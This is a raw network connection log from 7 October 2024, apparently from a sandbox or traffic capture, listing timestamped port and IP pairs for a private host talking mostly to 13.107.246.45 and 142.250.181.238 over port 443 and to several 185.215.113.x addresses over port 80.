Oct 7, 2024 03:23:15.727794886 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.727840900 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.728132963 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.728149891 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.735619068 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.735915899 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.735933065 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.736234903 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.736246109 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.772275925 CEST	80	49854	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:15.772349119 CEST	49854	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:15.774722099 CEST	49854	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:15.779567003 CEST	80	49854	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:15.811753035 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.811912060 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.812047958 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.812088013 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.812088013 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.812098980 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.812105894 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.814784050 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.814805031 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.814877033 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.815052032 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.815066099 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.817027092 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.817465067 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.817512989 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.817570925 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.817589998 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.817605972 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.817615032 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.819571018 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.819582939 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.819689989 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.819802999 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.819816113 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.826195002 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.826386929 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.826456070 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.826488972 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.826503992 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.826520920 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.826528072 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.828811884 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.828838110 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.828900099 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.829189062 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.829205036 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.835901976 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.836003065 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.836090088 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.836097956 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.836164951 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.836198092 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.836216927 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.836240053 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.836251020 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.838016033 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.838093042 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.838222980 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.838362932 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.838397980 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.878379107 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.881366968 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.881386995 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.881997108 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.882003069 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.902940989 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:15.903199911 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.903214931 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:15.903577089 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:15.903633118 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.904207945 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:15.904294014 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.905350924 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.905410051 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:15.905507088 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.905515909 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:15.953475952 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.976805925 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.977092981 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.977163076 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.977224112 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.977224112 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.977236986 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.977242947 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.979295969 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.979353905 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.979481936 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.979588032 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.979604006 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.011244059 CEST	80	49854	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:16.011312962 CEST	49854	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:16.202744961 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:16.202763081 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:16.202827930 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:16.202836990 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:16.202869892 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:16.210346937 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:16.210360050 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:16.579894066 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.579899073 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.583959103 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.584321976 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.584376097 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.584408045 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.584796906 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.584805965 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.584995985 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.585057974 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.585475922 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.585489988 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.595617056 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.595644951 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.595978975 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.595983982 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.599564075 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.599584103 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.599878073 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.599884987 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.680028915 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.680058956 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.680104971 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.680109978 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.680397987 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.680417061 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.680429935 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.680437088 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.680449963 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.680454016 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.681742907 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.681931973 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.681993008 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.682090044 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.682090044 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.682116985 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.682140112 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.683374882 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.683417082 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.683490992 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.683602095 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.683624029 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.685416937 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.685435057 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.685599089 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.685916901 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.685930967 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.695657969 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.695837021 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.695956945 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.695990086 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.695990086 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.695997953 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.696007013 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.697706938 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.697860003 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.697906971 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.697943926 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.697962046 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.697989941 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.697997093 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.702691078 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.702749014 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.702817917 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.703027010 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.703063965 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.704545975 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.704569101 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.704664946 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.704957008 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.704982042 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.764779091 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.765278101 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.765307903 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.765791893 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.765804052 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.862477064 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.862737894 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.862797022 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.869668007 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.869690895 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:16.869883060 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:16.869898081 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.120222092 CEST	49836	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:17.120501041 CEST	49872	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:17.125379086 CEST	80	49872	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:17.125412941 CEST	80	49836	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:17.125490904 CEST	49872	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:17.125534058 CEST	49836	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:17.126791954 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.126847029 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.126914024 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.128875017 CEST	49872	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:17.133707047 CEST	80	49872	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:17.167538881 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.167572975 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.315570116 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.316184998 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.316217899 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.316575050 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.316586971 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.335558891 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.336179972 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.336208105 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.336577892 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.336585999 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.339204073 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.339530945 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.339582920 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.339886904 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.339901924 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.341959953 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.342238903 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.342308044 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.342565060 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.342576027 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.414968014 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.415066004 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.415107012 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.415112019 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.415184975 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.417763948 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.417782068 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.417805910 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.417817116 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.420952082 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.420964003 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.421031952 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.421184063 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.421195984 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.435246944 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.435491085 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.435595036 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.437535048 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.437535048 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.437549114 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.437560081 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.438324928 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.438556910 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.438613892 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.439090967 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.439218044 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.439311028 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.440310001 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.440351009 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.440378904 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.440395117 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.442193031 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.442193031 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.442210913 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.442245960 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.448118925 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.448215961 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.448298931 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.449378014 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.449409008 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.449533939 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.450577021 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.450613022 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.450913906 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.450927019 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.456990004 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.457003117 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.457205057 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.457345009 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.457356930 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.518935919 CEST	49854	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:17.805911064 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.806360960 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.806380987 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.806972980 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.806979895 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.841730118 CEST	80	49872	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:17.841799974 CEST	49872	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:17.843292952 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:17.843660116 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:17.850292921 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:17.850353956 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:17.850481987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:17.850548029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:17.850703955 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:17.858551025 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:17.906198025 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.906266928 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.906323910 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.906344891 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.906373978 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.906423092 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.906543970 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.906562090 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.906573057 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.906579971 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.909382105 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.909455061 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:17.909590960 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.909754038 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:17.909787893 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.054735899 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.055238008 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.055258036 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.055711031 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.055716991 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.092556953 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.093096972 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.093111992 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.093565941 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.093575001 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.095757008 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.096383095 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.096394062 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.096802950 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.096813917 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.097904921 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.098262072 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.098293066 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.098685980 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.098692894 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.154000044 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.154129028 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.154179096 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.154289961 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.154299021 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.154308081 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.154310942 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.157073021 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.157099009 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.157186985 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.157290936 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.157311916 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.190572977 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.190840006 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.190891027 CEST	49877	443	192.168.2.4	13.107.246.45
